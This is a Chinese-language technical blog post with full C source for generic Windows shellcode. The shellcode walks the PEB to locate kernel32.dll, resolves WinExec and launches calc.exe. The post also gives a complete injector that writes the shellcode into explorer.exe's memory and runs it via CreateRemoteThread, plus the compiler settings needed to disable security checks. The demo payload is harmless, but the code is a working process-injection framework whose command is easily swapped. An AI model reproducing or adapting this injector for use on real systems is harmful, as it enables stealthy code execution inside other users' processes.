环三通用Shellcode

  • 内容
  • 评论
  • 相关

有时候因为某些原因不想注入dll到另外一个进程中,需要注入一段Shellcode到其他进程中

不过Shellcode编写和调试较又较为为复杂,这里提供一种通用的C实现的Shellcode方式

不过这个方式编译也又一个缺点:Shellcode体积比较大

如果追求小巧的话,还是需要汇编实现

编译的时候需要关闭以下选项,不然注入后的Shellcode会运行出错:

  • C/C++ -> SDL检查: 否
  • C/C++ -> 代码生成: 禁用安全检查 (/GS-)
  • 链接 -> 常规 -> 启用增量链接: 否

核心代码:

typedef UINT(WINAPI *fnWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);

#pragma optimize( "", off )
// 关闭运行时检查
#pragma runtime_checks( "scu", off )

DWORD WINAPI ShellcodeGeneric()
{
#ifdef _WIN64
    PPEB lpPeb = (PPEB)__readgsqword(0x60);
#else
    PPEB lpPeb = (PPEB)__readfsdword(0x30);
#endif

    PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY pListEntry = pListHead->Flink;
    WCHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', L'\0' };
    DWORD dwSizeKernel32 = sizeof(strKernel32) / sizeof(WCHAR);

    // 寻找kernel32.dll
    HANDLE hKernel32 = NULL;
    while (pListEntry != pListHead) 
    {
        PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        DWORD dwLen = pModEntry->FullDllName.Length;
        if (dwLen == 0 || dwLen < dwSizeKernel32)
        {
            continue;
        }
        PWCHAR pszDllPath = pModEntry->FullDllName.Buffer;
        for (DWORD i = 0; i < dwLen - dwSizeKernel32; i++)
        {
            BOOL bCampareSuccessed = TRUE;
            for (DWORD j = 0; j < dwSizeKernel32; j++)
            {
                if (pszDllPath[i + j] != strKernel32[j])
                {
                    bCampareSuccessed = FALSE;
                    break;
                }
            }
            if (bCampareSuccessed)
            {
                hKernel32 = pModEntry->DllBase;
                break;
            }
        }
        if (hKernel32 != NULL)
        {
            break;
        }
        pListEntry = pListEntry->Flink;
    }
    if (hKernel32 == NULL)
    {
        return 0;
    }

    // 从导出表选出函数地址
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
    PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)((PCHAR)hKernel32 + pDosHeader->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)
        ((PCHAR)hKernel32 + pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    LPDWORD pNameArray = (LPDWORD)((PCHAR)hKernel32 + pExportDir->AddressOfNames);
    LPDWORD pAddrArray = (LPDWORD)((PCHAR)hKernel32 + pExportDir->AddressOfFunctions);
    LPWORD pOrdArray = (LPWORD)((PCHAR)hKernel32 + pExportDir->AddressOfNameOrdinals);

    CHAR strWinExec[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', 0x0 };

    fnWinExec pfnWinExec = NULL;

    for (UINT i = 0; i < pExportDir->NumberOfNames; i++) 
    {
        if (pfnWinExec != NULL)
        {
            break;
        }

        PCHAR pFuncName = (PCHAR)((PCHAR)hKernel32 + pNameArray[i]);

        BOOL bCampareSuccessed = TRUE;
        for (DWORD j = 0; j < sizeof(strWinExec) + 1; j++)
        {
            if (pFuncName[j] != strWinExec[j])
            {
                bCampareSuccessed = FALSE;
                break;
            }
            if (pFuncName[j] == 0x0)
            {
                break;
            }
        }
        if (bCampareSuccessed)
        {
            pfnWinExec = (fnWinExec)((PCHAR)hKernel32 + pAddrArray[pOrdArray[i]]);
            continue;
        }
    }

    if (pfnWinExec != NULL)
    {
        CHAR szCmd[] = { 'C', 'a', 'l', 'c', '.', 'e', 'x', 'e', 0x0 };
        pfnWinExec(szCmd, SW_SHOW);
    }
    return 0;
}

DWORD ShellcodeGenericEnd()
{
    return GetTickCount();
}
#pragma optimize( "", on ) 
#pragma runtime_checks( "scu", on )

头文件:

#include <Windows.h>
typedef struct _PEB_LDR_DATA
{
    ULONG       Length;
    BOOLEAN     Initialized;
    HANDLE      SsHandle;
    LIST_ENTRY  InLoadOrderModuleList;
    LIST_ENTRY  InMemoryOrderModuleList;
    LIST_ENTRY  InInitializationOrderModuleList;
    PVOID       EntryInProgress;

} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
#ifdef MIDL_PASS
    [size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT * Buffer;
#else // MIDL_PASS
    _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH   Buffer;
#endif // MIDL_PASS
} UNICODE_STRING;

typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    BYTE           Reserved1[16];
    PVOID          Reserved2[10];
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;

} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB
{
    BYTE                          Reserved1[2];
    BYTE                          BeingDebugged;
    BYTE                          Reserved2[1];
    PVOID                         Reserved3[1];
    PVOID                         ImageBaseAddress;
    PPEB_LDR_DATA                 Ldr;
    PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
    BYTE                          Reserved4[104];
    PVOID                         Reserved5[52];
    PVOID                         PostProcessInitRoutine;
    BYTE                          Reserved6[128];
    PVOID                         Reserved7[1];
    ULONG                         SessionId;
} PEB, *PPEB;

typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY      InLoadOrderLinks;
    LIST_ENTRY      InMemoryOrderLinks;
    LIST_ENTRY      InInitializationOrderLinks;
    PVOID           DllBase;
    PVOID           EntryPoint;
    ULONG           SizeOfImage;
    UNICODE_STRING  FullDllName;
    UNICODE_STRING  BaseDllName;
    ULONG           Flags;
    USHORT          LoadCount;
    USHORT          TlsIndex;

    union
    {
        LIST_ENTRY HashLinks;
        struct
        {
            PVOID SectionPointer;
            ULONG Checksum;
        };
    };
    union
    {
        struct
        {
            ULONG TimeDateStamp;
        };
        struct
        {
            PVOID LoadedImports;
        };
    };
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

顺便加上一份注入Explorer的实现代码:


BOOL WINAPI InjectByShellcode(DWORD dwPid, PBYTE pShellcode, DWORD dwShellcodeSize, PBYTE pParam, DWORD dwParamSize) { HANDLE hProcess = NULL, hThread = NULL;; PVOID pRemoteShellcode = NULL; PVOID pRemoteParam = NULL; BOOL bRet = FALSE; do { hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPid); if (hProcess == NULL) { printf("InjectByShellcode OpenProcess err.\n"); break; } pRemoteShellcode = (PVOID)VirtualAllocEx(hProcess, NULL, dwShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pRemoteShellcode == NULL) { printf("InjectByShellcode VirtualAllocEx err.\n"); break; } if (!WriteProcessMemory(hProcess, pRemoteShellcode, (PVOID)pShellcode, dwShellcodeSize, NULL)) { printf("InjectByShellcode WriteProcessMemory err1.\n"); break; } if (pParam != NULL && dwParamSize != 0) { pRemoteParam = (PVOID)VirtualAllocEx(hProcess, NULL, dwParamSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pRemoteParam == NULL) { break; } if (!WriteProcessMemory(hProcess, pRemoteParam, (PVOID)pParam, dwParamSize, NULL)) { printf("InjectByShellcode WriteProcessMemory err2.\n"); break; } } hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteShellcode, pRemoteParam, 0, NULL); if (hThread == NULL) { printf("InjectByShellcode CreateRemoteThread err.\n"); break; } bRet = TRUE; } while (0); if (hThread != NULL) { WaitForSingleObject(hThread, INFINITE); } if (hProcess != NULL) { if (pRemoteShellcode != NULL) { VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE); } if (pRemoteParam != NULL) { VirtualFreeEx(hProcess, pRemoteParam, 0, MEM_RELEASE); } } if (hThread != NULL) { CloseHandle(hThread); } if (hProcess) { CloseHandle(hProcess); } return bRet; } DWORD GetPidByName(PWCHAR szProcName) { HANDLE hSnap = NULL; DWORD dwPid = 0; do { hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnap == NULL) { break; } PROCESSENTRY32 pe32 = { 0x00 }; pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hSnap, &pe32)) { break; } do { if (StrCmpI(pe32.szExeFile, szProcName) == 0) { dwPid = pe32.th32ProcessID; break; } } while (Process32Next(hSnap, &pe32)); } while (FALSE); if (hSnap != NULL) { CloseHandle(hSnap); } return dwPid; } int main() { UINT_PTR dwCodeSize = 0; if ((UINT_PTR)ShellcodeGenericEnd > (UINT_PTR)ShellcodeGeneric) { dwCodeSize = (UINT_PTR)ShellcodeGenericEnd - (UINT_PTR)ShellcodeGeneric; } if (dwCodeSize == 0) { return FALSE; } DWORD dwPid = GetPidByName((PWCHAR)L"explorer.exe"); if (dwPid == NULL) { return 0; } printf("explorer Pid:%d\n", dwPid); InjectByShellcode(dwPid, (PBYTE)ShellcodeGeneric, (DWORD)dwCodeSize, (PBYTE)NULL, 0); getchar(); }

最终效果(win7 x64):

image